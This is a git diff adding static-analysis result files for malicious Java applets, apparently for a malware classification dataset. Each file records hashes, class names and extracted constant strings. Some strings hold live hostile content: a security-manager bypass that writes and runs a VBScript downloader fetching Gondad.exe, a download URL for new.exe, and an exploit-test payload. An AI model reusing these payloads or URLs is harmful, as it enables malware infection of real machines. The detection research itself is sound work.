"ssdeep": "96:/vDFll56+/Ojh5mlHPSW88rrfP+iczkT/VLaClR6jL9:nZle+2jzmpPSWZflOkT/VLaCl4", "sha256": "48e34324d1e3bd9c3ba48ff75fd31f3f6d1fec31dd454bb90f4f6c7180ba1edd", "md5": "853f6350416ee3f4d61693ba900ac7e3", "parent_sha256": "48e34324d1e3bd9c3ba48ff75fd31f3f6d1fec31dd454bb90f4f6c7180ba1edd"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/494cf111445de27689970d8adbf68e1c9c6b734adc8207b1ad3571f39b8f2aaa.results b/java_classification/data/malicious/494cf111445de27689970d8adbf68e1c9c6b734adc8207b1ad3571f39b8f2aaa.results
new file mode 100755
index 0000000..c12ce0f
--- /dev/null
+++ b/java_classification/data/malicious/494cf111445de27689970d8adbf68e1c9c6b734adc8207b1ad3571f39b8f2aaa.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Ex_01.java", "class_name": "ex_01/Ex_01", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 51, "method_names": ["<init>", "init", "toHex", "tstPwn"], "minor_version": 0, "const_pool_count": 290}}, "_id": "c07d369d-2692-4649-86d7-ea0f0c4d4ed7", "verbose": {"java": {"JAVA String Analysis": {"obfuscated_data": {"signatures": {"java": "rot0", "file": "rot0"}}}, "constant strings": ["os.arch", "", "64", "java.io.tmpdir", "shit.exe", "@url@", "urtpghh", "vbssqtg", "cmd /c start ", "setSecurityManager", "file:///"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "bf2263f102ee2d646f89ab9a4356f24494f436f0", "file_name": "java_malicious/494cf111445de27689970d8adbf68e1c9c6b734adc8207b1ad3571f39b8f2aaa", "_id": "c07d369d-2692-4649-86d7-ea0f0c4d4ed7", "score": 0, "entropy": 5.830222978662394, "libmagic": "compiled Java class data, version 51.0", "file_size": 5226, "ssdeep": "96:jL/oAlWyL7mjlwViR8hCRLhlpZKaiOGP5nX:4AlWyL7XiKhEhlpZK821X", "sha256": "494cf111445de27689970d8adbf68e1c9c6b734adc8207b1ad3571f39b8f2aaa", "md5": "047dece8df1633fa36f7c61461220ca3", "parent_sha256": "494cf111445de27689970d8adbf68e1c9c6b734adc8207b1ad3571f39b8f2aaa"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/49dac92b0d198d0d4ff23f9c4a806f5268e8909b152e57be394306fedf10ac5b.results b/java_classification/data/malicious/49dac92b0d198d0d4ff23f9c4a806f5268e8909b152e57be394306fedf10ac5b.results
new file mode 100755
index 0000000..4bffef7
--- /dev/null
+++ b/java_classification/data/malicious/49dac92b0d198d0d4ff23f9c4a806f5268e8909b152e57be394306fedf10ac5b.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "c.java", "class_name": "c", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["<clinit>", "<init>", "main", "a", "b", "a", "a", "a"], "minor_version": 0, "const_pool_count": 427}}, "_id": "0263cb08-b71e-41f4-8493-c1f710c8963c", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 6.257537546722927}, "constant strings": ["", "\\n", " ", "%^UU3k[D\\rz", " \\r\\x11", ".W", ",", "(U@\\x07", ".", "+U@\\x07", "/", "*{D\\x061qPQZ", "*{N\\x16/hZO\\x01)*", "*sH\\x17(dMXZ", "*]H\\x1b>+[@\\x01", "*Z", "*WN\\x06.+[@\\x01", "*T", "Dzr", "Doq1\\x1bQ~", "F\\x05}", "LSM\\x10=dS\\x01\\x1d?}^E\\x109lR@\\x19zfW@\\x07;fKD\\x07z", "Hzm!", "VFR\\x01?h{S\\x1c,`", "PkgXb", "\\\\", "YhH\\x1b>jHR)\\t|LU\\x1076\\r}\\x11(lID\\x07)YZU\\x16\\x06mPR\\x01)", "Y]H\\x1b\\x06o^W\\x14", "dOQ\\x11;q^", "dOQ\\x19?+^V\\x01tPvd\\x19?hZO\\x01", "dKU\\x073g", "aZR\\x1e.jO", "cVM\\x10`", "o^W\\x14", "o^W\\x14tmPL\\x10", "jL\\x0f\\x1b;hZ", "wPN\\x01uF\\x1fE\\x073sZ", "qZL\\x05uaPB\\xc0\\x807`QU\\x06z-JO\\x1c\",", "qMT\\x10", "pLD\\x07tmPL\\x10", "rVO"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "d4ee486e3f6fdc8a4d4cbea21c90fbba3e1f02c5", "file_name": "java_malicious/49dac92b0d198d0d4ff23f9c4a806f5268e8909b152e57be394306fedf10ac5b", "_id": "0263cb08-b71e-41f4-8493-c1f710c8963c", "score": 0, "entropy": 5.812963098466617, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 12743, "ssdeep": "384:87CWIFaaJyi8jmJfeJLPyO77hCYa8MGIGDGLGFDWmOh:eClFaaJRJfCLDPhCADWmOh", "sha256": "49dac92b0d198d0d4ff23f9c4a806f5268e8909b152e57be394306fedf10ac5b", "md5": "125e3331bf7244e0fbad2f4443093499", "parent_sha256": "49dac92b0d198d0d4ff23f9c4a806f5268e8909b152e57be394306fedf10ac5b"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/4a83a29d0fd15e87c20d0c7082ff325273bc19b0539cd859685832b21a300d77.results b/java_classification/data/malicious/4a83a29d0fd15e87c20d0c7082ff325273bc19b0539cd859685832b21a300d77.results
new file mode 100755
index 0000000..711019e
--- /dev/null
+++ b/java_classification/data/malicious/4a83a29d0fd15e87c20d0c7082ff325273bc19b0539cd859685832b21a300d77.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "DWacSnNwt.java", "class_name": "luLbEI/DWacSnNwt", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "dFkOVjIP", "eJhiwIJu", "zeXyUzpQe", "OtHqv", "yCCwyf", "ghoubo", "kzKLHH", "init", "hecOfL"], "minor_version": 0, "const_pool_count": 256}}, "_id": "491caa29-5d81-444a-99f2-73086361bf00", "verbose": {"java": {"constant strings": ["elementFromComplex", "!*=*e\\'*%,e\\x04)!.(?!*=*e\\'*%,e\\x18?9\"%,", "/.(\\'*9./\\x06.?#$/8", "($&e8>%e!&3e&).*%8.9=.9e\\x01&3\\x06\\t.*%\\x18.9=.9", "%.<\\x06\\t.*%\\x18.9=.9", "!*=*e\\'*%,e\\x18?9\"%,!*=*3e&*%*,.&.%?e\\x06\\t.*%\\x18.9=.9!*=*3e&*%*,.&.%?e\\x06\\t.*%\\x18.9=.9\\x0f.\\'.,*?.)$$\\'.*%", "", ",.?\\x06\\t.*%\\x02%8?*%?\"*?$9", "-\"%/\\x08\\'*88", "!*=*e\\'*%,e\\x18?9\"%,!*=*e\\'*%,e\\x08\\'*88\\x07$*/.9", "8>%e$9,e&$1\"\\'\\'*e!*=*8(9\";?e\"%?.9%*\\'e\\x08$%?.3?", "8>%e$9,e&$1\"\\'\\'*e!*=*8(9\";?e\"%?.9%*\\'e\\x0c.%.9*?./\\x08\\'*88\\x07$*/.9", "($&e8>%e!&3e&).*%8.9=.9e\\x02%?9$8;.(?$9", ".%?.9", "(9.*?.\\x08\\'*88\\x07$*/.9", "/.-\"%.\\x08\\'*88", "&\\x13\\x0f\"\\x13\\x08/e(\\'*88", ">9\\'", "\\x1a\\x0f!&/\\x18\\x04", "*;;\\'.?\\x14(\\'*88", "newInstance", "/8-", ".9,/)#! .9&8-k %-&", "-,/8/-*8", "**8", "!*=*e\"$e\\t2?.\\n99*2\\x04>?;>?\\x18?9.*&", "<9\"?.", "?$\\t2?.\\n99*2"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "ccf7621fc0cb831969c1dd0e3365d6fa92508278", "file_name": "java_malicious/4a83a29d0fd15e87c20d0c7082ff325273bc19b0539cd859685832b21a300d77", "_id": "491caa29-5d81-444a-99f2-73086361bf00", "score": 0, "entropy": 6.131739155004435, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 5655, "ssdeep": "96:FYFl4Br7odhT6ESS0smBsbv2X0ZrdEp6cvAMh5wWAMr1tBrVlM:El4Br7onT6buTNdEcc4glASr0", "sha256": "4a83a29d0fd15e87c20d0c7082ff325273bc19b0539cd859685832b21a300d77", "md5": "36002f3889987d38beeb7a36fa4f431b", "parent_sha256": "4a83a29d0fd15e87c20d0c7082ff325273bc19b0539cd859685832b21a300d77"}}
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diff --git a/java_classification/data/malicious/4b08ce4978baaca6e613f28e220c1e2477170d8d8cdc5366f620dac9e4f51f8b.results b/java_classification/data/malicious/4b08ce4978baaca6e613f28e220c1e2477170d8d8cdc5366f620dac9e4f51f8b.results
new file mode 100755
index 0000000..4865245
--- /dev/null
+++ b/java_classification/data/malicious/4b08ce4978baaca6e613f28e220c1e2477170d8d8cdc5366f620dac9e4f51f8b.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"major_version": 48, "class_name": "apps/MyWorker", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["java/security/PrivilegedExceptionAction"], "sourcefile": "MyWorker.java", "method_names": ["run", "<init>"], "minor_version": 0, "const_pool_count": 100}}, "_id": "401d5500-8ced-46a8-bf37-10e54015ac63", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 2.8247983040455154, "obfuscated_data": {"base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "TEMP"}, "substring_heuristics": {}}}, "constant strings": ["93f9fbf", "                                                                                                                                                                   http://mongomeryored.com/e/9/224ae59d69b2dfaa743b84e5788f671ca0a910a8f7dd21de2f70d85d6", "TEMP", "/new.exe"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "a3fb143834b9d1946fdb47e46256571412b2f9ec", "file_name": "java_malicious/4b08ce4978baaca6e613f28e220c1e2477170d8d8cdc5366f620dac9e4f51f8b", "_id": "401d5500-8ced-46a8-bf37-10e54015ac63", "score": 0, "entropy": 5.625950371478145, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 1771, "ssdeep": "24:oR/ul6XIEGyrHldUYPWDBN20zLqPShnPelj4nYetKHMCcmvmd1:oQl6XZrHDRPWDd2PSh0jM5tKhc5v", "sha256": "4b08ce4978baaca6e613f28e220c1e2477170d8d8cdc5366f620dac9e4f51f8b", "md5": "d285beebd3eaa758f5058f884ff79069", "parent_sha256": "4b08ce4978baaca6e613f28e220c1e2477170d8d8cdc5366f620dac9e4f51f8b"}}
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diff --git a/java_classification/data/malicious/4b3b53266aa8a8da247d46c1de35139c7a00e4b1917d5ff1e1a1ce70eae0a99f.results b/java_classification/data/malicious/4b3b53266aa8a8da247d46c1de35139c7a00e4b1917d5ff1e1a1ce70eae0a99f.results
new file mode 100755
index 0000000..14f083e
--- /dev/null
+++ b/java_classification/data/malicious/4b3b53266aa8a8da247d46c1de35139c7a00e4b1917d5ff1e1a1ce70eae0a99f.results
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diff --git a/java_classification/data/malicious/4b520fdeb9d4d889f43342e7da9b91a696ce83508700a3f35cb5dcb9b28fc03c.results b/java_classification/data/malicious/4b520fdeb9d4d889f43342e7da9b91a696ce83508700a3f35cb5dcb9b28fc03c.results
new file mode 100755
index 0000000..79be93d
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+++ b/java_classification/data/malicious/4b520fdeb9d4d889f43342e7da9b91a696ce83508700a3f35cb5dcb9b28fc03c.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "java_exploit_test.java", "class_name": "java_exploit_test", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["<init>", "disableSecurity", "GetClass", "SetField", "init", "paint"], "minor_version": 0, "const_pool_count": 221}}, "_id": "f2c7d213-99a4-4141-98e4-99fe3c797416", "verbose": {"java": {"constant strings": ["setSecurityManager", "file:///", "acc", "forName", "sun.awt.SunToolkit", "getField", "os.name", "Windows", "calc.exe", "Linux", "/tmp/java_exploit_test", "/usr/bin/kcalc || /usr/bin/gnome-calculator\\n", "rm /tmp/java_exploit_test\\n", "Error: ", "/bin/sh /tmp/java_exploit_test", "Mac", "open /Applications/Calculator.app", "ls", "java.version", "Your java version : ", " is not vulnerable.", "running ", " ... Your java version : ", " is vulnerable, please upgrade."]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "9b46dc675798a075b34b5b5f7b18c42a944e271a", "file_name": "java_malicious/4b520fdeb9d4d889f43342e7da9b91a696ce83508700a3f35cb5dcb9b28fc03c", "_id": "f2c7d213-99a4-4141-98e4-99fe3c797416", "score": 0, "entropy": 5.7571188267347555, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 3693, "ssdeep": "96:60fOYOihFlPLCWIUUGdCNkJ/7rg2bqzT/f:6MtPTlPPATkgYeH", "sha256": "4b520fdeb9d4d889f43342e7da9b91a696ce83508700a3f35cb5dcb9b28fc03c", "md5": "3384f15d768873c3dc6349e3c50fcadc", "parent_sha256": "4b520fdeb9d4d889f43342e7da9b91a696ce83508700a3f35cb5dcb9b28fc03c"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/4bb1be408ed72a1037ff56f3a0c30087686014f607f3a57dd5a3c37cde8c7195.results b/java_classification/data/malicious/4bb1be408ed72a1037ff56f3a0c30087686014f607f3a57dd5a3c37cde8c7195.results
new file mode 100755
index 0000000..ad5b0f4
--- /dev/null
+++ b/java_classification/data/malicious/4bb1be408ed72a1037ff56f3a0c30087686014f607f3a57dd5a3c37cde8c7195.results
@@ -0,0 +1 @@
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diff --git a/java_classification/data/malicious/4cbc62d4e05c42f1d84340b7f21e88cdebfaf84d997ec6897007f15cece05d21.results b/java_classification/data/malicious/4cbc62d4e05c42f1d84340b7f21e88cdebfaf84d997ec6897007f15cece05d21.results
new file mode 100755
index 0000000..4527229
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@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Beyond.java", "class_name": "Beyond", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["Work", "<init>", "<clinit>"], "minor_version": 3, "const_pool_count": 6269}}, "_id": "b1c51b7a-ad62-4778-9ae7-604cb43b75d7", "verbose": {"java": {"constant strings": ["os.name", "windows", "q319243.com"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "6f7ec6d5252a367c002733d3fffb0734bad29976", "file_name": "java_malicious/4cbc62d4e05c42f1d84340b7f21e88cdebfaf84d997ec6897007f15cece05d21", "_id": "b1c51b7a-ad62-4778-9ae7-604cb43b75d7", "score": 0, "entropy": 6.907601289191106, "libmagic": "compiled Java class data, version 45.3", "file_size": 53964, "ssdeep": "1536:KCJPGBk8w/d24ImV6Jy6CE315rEAeaUxeqqP:KCJeBk8w/d2eOraa", "sha256": "4cbc62d4e05c42f1d84340b7f21e88cdebfaf84d997ec6897007f15cece05d21", "md5": "97b69d71bbc59731f2c047847de83cd2", "parent_sha256": "4cbc62d4e05c42f1d84340b7f21e88cdebfaf84d997ec6897007f15cece05d21"}}
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diff --git a/java_classification/data/malicious/4d14950715790ee108c6ae158be74c981484f44a8f8c983769c5c4ffbe0fa0e3.results b/java_classification/data/malicious/4d14950715790ee108c6ae158be74c981484f44a8f8c983769c5c4ffbe0fa0e3.results
new file mode 100755
index 0000000..f0752a2
--- /dev/null
+++ b/java_classification/data/malicious/4d14950715790ee108c6ae158be74c981484f44a8f8c983769c5c4ffbe0fa0e3.results
@@ -0,0 +1 @@
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diff --git a/java_classification/data/malicious/4d1d2b24b7384438bdc702c1c5422a6d5ea196ceae1ba41d484a7866727784df.results b/java_classification/data/malicious/4d1d2b24b7384438bdc702c1c5422a6d5ea196ceae1ba41d484a7866727784df.results
new file mode 100755
index 0000000..9a50030
--- /dev/null
+++ b/java_classification/data/malicious/4d1d2b24b7384438bdc702c1c5422a6d5ea196ceae1ba41d484a7866727784df.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"major_version": 51, "class_name": "B", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["java/security/PrivilegedExceptionAction"], "sourcefile": "B.java", "method_names": ["<init>", "run"], "minor_version": 0, "const_pool_count": 34}}, "_id": "872aad67-2d40-4c64-a1a6-46efbbbcde9a", "metadata": {"mimetype": "application/x-java-applet", "sha1": "fec0112abd6a0d2b7f0477b0e716cd2c41a46889", "file_name": "java_malicious/4d1d2b24b7384438bdc702c1c5422a6d5ea196ceae1ba41d484a7866727784df", "_id": "872aad67-2d40-4c64-a1a6-46efbbbcde9a", "score": 0, "entropy": 5.202538469828033, "libmagic": "compiled Java class data, version 51.0", "file_size": 619, "ssdeep": "12:EDFUSDQul3kiO5LLprPSRRO4YgjA6EGPrkVIOsg2ZyxqkPtQV:CUyQul3WW3O4VjFEGPz9nyIqSV", "sha256": "4d1d2b24b7384438bdc702c1c5422a6d5ea196ceae1ba41d484a7866727784df", "md5": "748ac5c78259947a2f86fb6fcf4705d3", "parent_sha256": "4d1d2b24b7384438bdc702c1c5422a6d5ea196ceae1ba41d484a7866727784df"}}
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diff --git a/java_classification/data/malicious/4d4c06b900005be93fd689aff4c1a9a6d5fbda6f009eb858a84fb3a647f7f725.results b/java_classification/data/malicious/4d4c06b900005be93fd689aff4c1a9a6d5fbda6f009eb858a84fb3a647f7f725.results
new file mode 100755
index 0000000..b4f05dc
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+++ b/java_classification/data/malicious/4d4c06b900005be93fd689aff4c1a9a6d5fbda6f009eb858a84fb3a647f7f725.results
@@ -0,0 +1 @@
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diff --git a/java_classification/data/malicious/4d7b99ddc217d757c0460fae4ddb302673cd6bdf99040db729d9157979f55db0.results b/java_classification/data/malicious/4d7b99ddc217d757c0460fae4ddb302673cd6bdf99040db729d9157979f55db0.results
new file mode 100755
index 0000000..8c1833f
--- /dev/null
+++ b/java_classification/data/malicious/4d7b99ddc217d757c0460fae4ddb302673cd6bdf99040db729d9157979f55db0.results
@@ -0,0 +1 @@
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diff --git a/java_classification/data/malicious/4da0462055c4987a5dc75e42503f347a886f312a430962d829fa4ce26742bdf4.results b/java_classification/data/malicious/4da0462055c4987a5dc75e42503f347a886f312a430962d829fa4ce26742bdf4.results
new file mode 100755
index 0000000..dcfbbcb
--- /dev/null
+++ b/java_classification/data/malicious/4da0462055c4987a5dc75e42503f347a886f312a430962d829fa4ce26742bdf4.results
@@ -0,0 +1 @@
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"metadata": {"mimetype": "application/x-java-applet", "sha1": "a22b73079c7279b56e9410105a47c902347eae71", "file_name": "java_malicious/4da0462055c4987a5dc75e42503f347a886f312a430962d829fa4ce26742bdf4", "_id": "d2fc350d-1f03-4145-9583-d5db1ac945f4", "score": 0, "entropy": 5.164753440058861, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 7028, "ssdeep": "192:M0l3mbouZeeMpXB6CDvdF5DRXZbxs7m3DxmUevMsEvh:M0VX3npTfsyh", "sha256": "4da0462055c4987a5dc75e42503f347a886f312a430962d829fa4ce26742bdf4", "md5": "21e30c4e4700c8d7d126137b58061634", "parent_sha256": "4da0462055c4987a5dc75e42503f347a886f312a430962d829fa4ce26742bdf4"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/4dc53f9cfad1f7440ea45f9862397b4eeb609da9f05e51f425980b34794c2b67.results b/java_classification/data/malicious/4dc53f9cfad1f7440ea45f9862397b4eeb609da9f05e51f425980b34794c2b67.results
new file mode 100755
index 0000000..e7a55fe
--- /dev/null
+++ b/java_classification/data/malicious/4dc53f9cfad1f7440ea45f9862397b4eeb609da9f05e51f425980b34794c2b67.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "a/rpifpmopitjve", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "rlsesuqtyfc", "<clinit>"], "minor_version": 0, "const_pool_count": 446}}, "_id": "a9a2ef82-6707-4093-8411-fcbadf39eb07", "metadata": {"mimetype": "application/x-java-applet", "sha1": "2a9ed5528830bc34c4a8af9f4e2d0c0df35796e0", "file_name": "java_malicious/4dc53f9cfad1f7440ea45f9862397b4eeb609da9f05e51f425980b34794c2b67", "_id": "a9a2ef82-6707-4093-8411-fcbadf39eb07", "score": 0, "entropy": 5.217407774003658, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6984, "ssdeep": "192:TyDfnh5t+oB68paxhi/To55UTYwa5hGX1:mDfnh508ayTofUTkc1", "sha256": "4dc53f9cfad1f7440ea45f9862397b4eeb609da9f05e51f425980b34794c2b67", "md5": "9e1798712950d69190e714bffd3d2265", "parent_sha256": "4dc53f9cfad1f7440ea45f9862397b4eeb609da9f05e51f425980b34794c2b67"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/4e4a36e7fda4c375d10810b7830bb1437b468b7264c1c236455e2774eb4a1973.results b/java_classification/data/malicious/4e4a36e7fda4c375d10810b7830bb1437b468b7264c1c236455e2774eb4a1973.results
new file mode 100755
index 0000000..39b9bf7
--- /dev/null
+++ b/java_classification/data/malicious/4e4a36e7fda4c375d10810b7830bb1437b468b7264c1c236455e2774eb4a1973.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"major_version": 50, "class_name": "Streaming$1", "access_permissions": ["ACC_SUPER"], "interfaces": ["java/lang/Runnable"], "sourcefile": "Streaming.java", "method_names": ["<init>", "run"], "minor_version": 0, "const_pool_count": 102}}, "_id": "19a8b41a-7ed5-4451-a192-5f8f0c78ec74", "verbose": {"java": {"JAVA String Analysis": {"obfuscated_data": {"base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "GoTo"}}}, "constant strings": ["DirectLink", "ServerName", "DownloadFolder", "\\\\", "GoTo"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "430f81031f457312117af032b7c7bd4aad5c0641", "file_name": "java_malicious/4e4a36e7fda4c375d10810b7830bb1437b468b7264c1c236455e2774eb4a1973", "_id": "19a8b41a-7ed5-4451-a192-5f8f0c78ec74", "score": 0, "entropy": 5.513276288333021, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 1459, "ssdeep": "24:LYLPCG5ulXGGHhhHhdz3pB7KqkqPz1UqhWMb1lF4CuQb6y4lScIdbQ7W00/Y6:LYLPT4lhBxhJZBpkYzaqhPb1T4CDEwcu", "sha256": "4e4a36e7fda4c375d10810b7830bb1437b468b7264c1c236455e2774eb4a1973", "md5": "ec6e0741b4ae9e06b5a6ffdff67834d5", "parent_sha256": "4e4a36e7fda4c375d10810b7830bb1437b468b7264c1c236455e2774eb4a1973"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/4eedc3e7e1f1438b2e3eb47f3ba18cdbab42d554a6ddfc717b8aa93ec1e3fb19.results b/java_classification/data/malicious/4eedc3e7e1f1438b2e3eb47f3ba18cdbab42d554a6ddfc717b8aa93ec1e3fb19.results
new file mode 100755
index 0000000..21f7b7f
--- /dev/null
+++ b/java_classification/data/malicious/4eedc3e7e1f1438b2e3eb47f3ba18cdbab42d554a6ddfc717b8aa93ec1e3fb19.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "GondadGondadExp.java", "class_name": "GondadGondadExp", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["<init>", "init"], "minor_version": 3, "const_pool_count": 100}}, "_id": "eb1b1d6a-fd15-433a-8902-beb9ff3f81b4", "verbose": {"java": {"constant strings": ["qUIj1WrdHC1IONHN1", "js", "data", "var error = new Error(\"My error\");this.toString = function(){ java.lang.System.setSecurityManager(null);java.lang.Runtime.getRuntime().exec(\\'cmd.exe /c echo URL = LCase(WScript.Arguments(0))>\"%temp%\\\\\\\\qUIj1Wrd.vbs\"&&cmd.exe /c echo dim m,s,gond>>\"%temp%\\\\\\\\qUIj1Wrd.vbs\"&&cmd.exe /c echo gond=\"qUIj1WrdHC1IONHN\">>\"%temp%\\\\\\\\qUIj1Wrd.vbs\"&&cmd.exe /c echo m=\"Mvivcvrvovsvovfvtv.vXvMvLvHvTvTvP\">>\"%temp%\\\\\\\\qUIj1Wrd.vbs\"&&cmd.exe /c echo s=\"AzDzOzDBz.zSztzrzezazm\">>\"%temp%\\\\\\\\qUIj1Wrd.vbs\"&&cmd.exe /c echo set cmd =Createobject(replace(m,\"v\",\"\")) >>\"%temp%\\\\\\\\qUIj1Wrd.vbs\"&&cmd.exe /c echo cmd.Open \"GET\",URL,0 >>\"%temp%\\\\\\\\qUIj1Wrd.vbs\"&&cmd.exe /c echo cmd.Send()>>\"%temp%\\\\\\\\qUIj1Wrd.vbs\"&&cmd.exe /c echo FileName=LCase(WScript.Arguments(1))>>\"%temp%\\\\\\\\qUIj1Wrd.vbs\"&&cmd.exe /c echo Set CsCriptGet = Createobject(replace(s,\"z\",\"\"))>>\"%temp%\\\\\\\\qUIj1Wrd.vbs\"&&cmd.exe /c echo CsCriptGet.Mode=^3>>\"%temp%\\\\\\\\qUIj1Wrd.vbs\"&&cmd.exe /c echo CsCriptGet.Type=^1>>\"%temp%\\\\\\\\qUIj1Wrd.vbs\"&&cmd.exe /c echo CsCriptGet.Open()>>\"%temp%\\\\\\\\qUIj1Wrd.vbs\"&&cmd.exe /c echo CsCriptGet.Write(cmd.responseBody)>>\"%temp%\\\\\\\\qUIj1Wrd.vbs\"&&cmd.exe /c echo CsCriptGet.SaveToFile FileName,^2>>\"%temp%\\\\\\\\qUIj1Wrd.vbs\"&&cmd.exe /c cscript \"%temp%\\\\\\\\qUIj1Wrd.vbs\" ", " \"%temp%\\\\\\\\Gondad.exe\"&& \"%temp%\\\\\\\\Gondad.exe\"\\');", "return \"exploit!\";};", "error.message = this;", "error"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "f25924b3946dab1654be2b652d8ff2e71db27a0c", "file_name": "java_malicious/4eedc3e7e1f1438b2e3eb47f3ba18cdbab42d554a6ddfc717b8aa93ec1e3fb19", "_id": "eb1b1d6a-fd15-433a-8902-beb9ff3f81b4", "score": 0, "entropy": 5.828920683682196, "libmagic": "compiled Java class data, version 45.3", "file_size": 2868, "ssdeep": "48:FayGlOqIK+KTV1XSXpi1b0g6dq1L3iEPPSJM368n9f:FzGl/1+m1JqTdKL3iiP0s6W9f", "sha256": "4eedc3e7e1f1438b2e3eb47f3ba18cdbab42d554a6ddfc717b8aa93ec1e3fb19", "md5": "31f62b44e986a8ebff5b02f49ee80f54", "parent_sha256": "4eedc3e7e1f1438b2e3eb47f3ba18cdbab42d554a6ddfc717b8aa93ec1e3fb19"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/4ef46ce8ceb1ee00680a60d71867ab3f527d1ab3986bb74f90b9ca8459a775a1.results b/java_classification/data/malicious/4ef46ce8ceb1ee00680a60d71867ab3f527d1ab3986bb74f90b9ca8459a775a1.results
new file mode 100755
index 0000000..a2619d0
--- /dev/null
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diff --git a/java_classification/data/malicious/4f36472f27b677790c3fdea5b4c42d3672f4cd89aa8f2d4236099a4d08846340.results b/java_classification/data/malicious/4f36472f27b677790c3fdea5b4c42d3672f4cd89aa8f2d4236099a4d08846340.results
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diff --git a/java_classification/data/malicious/4f3efb4a4e0e0e51158b1337fbdab07c414e3f545406f8bc852b90d631bef376.results b/java_classification/data/malicious/4f3efb4a4e0e0e51158b1337fbdab07c414e3f545406f8bc852b90d631bef376.results
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diff --git a/java_classification/data/malicious/4f52bb0b926a2582a15631cf4a8a83f7a036f82730d983c7cd6ea2509dfeefdf.results b/java_classification/data/malicious/4f52bb0b926a2582a15631cf4a8a83f7a036f82730d983c7cd6ea2509dfeefdf.results
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diff --git a/java_classification/data/malicious/4f530d61244ac0f79afd6292538b372fd38362e58c52093b99b19a6f6ce47633.results b/java_classification/data/malicious/4f530d61244ac0f79afd6292538b372fd38362e58c52093b99b19a6f6ce47633.results
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diff --git a/java_classification/data/malicious/4f7dacc76e88e9114195acada2b995ed354d5b0f451a9bc4b1c56918af58e3bd.results b/java_classification/data/malicious/4f7dacc76e88e9114195acada2b995ed354d5b0f451a9bc4b1c56918af58e3bd.results
new file mode 100755
index 0000000..1565e54
--- /dev/null
+++ b/java_classification/data/malicious/4f7dacc76e88e9114195acada2b995ed354d5b0f451a9bc4b1c56918af58e3bd.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "a/zefoibzzogvis", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "ovghavubrrsrchae", "nwkctvkaefgrgwqnm", "hbolncapdcwaymjaa", "gplmrnekulukvjwrmsr", "init", "icqkqoflryyrxqw", "htuqrsphozlkbckc", "azxgmpqqiqhrmetrrek", "<clinit>"], "minor_version": 0, "const_pool_count": 237}}, "_id": "27bcfadc-79a6-4d1f-9e7a-cb1746fb0994", "verbose": {"java": {"constant strings": ["mn", "mnewxek", "lyxmfrh", "jrktywwdhqifrz", "wyaxeieedseqqi", "sxwvvafy", "oxoc", "jwaxhiz", "wibswnxesr", "nlpgy", "b", "nbbsrst", "jkvwrknpzjdosyh", "yfaevwueesskwhr", "xgstyheqbdwwd", "mogvxnpmtyukxh", "aljmcrh", "dhrrjy", "ikykcdjtevbnsi", "igkeiylrpf", "wta", "sv", "xcdgtlsahyj", "nyntdwabfkkswe", "qfhvxix", "jgtwnkpsyghdl", "yqrvjkeofuvm", "lodlo", "tqhxlg", "dbdvsirfwc", "pwjy", "kjsfmfmcnu", "lacxcqrkl", "nbd", "wocyxzvjb", "tczywhaio", "v", "lwfhj", "ifkyyvcawuqwptk", "jt", "spljkgvunxisd", "zaunz", "gwyqtkkc", "yhmrwbtlrushzg"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "464631f11daac8b5f4a34f3ec867f4c7ac73b2f0", "file_name": "java_malicious/4f7dacc76e88e9114195acada2b995ed354d5b0f451a9bc4b1c56918af58e3bd", "_id": 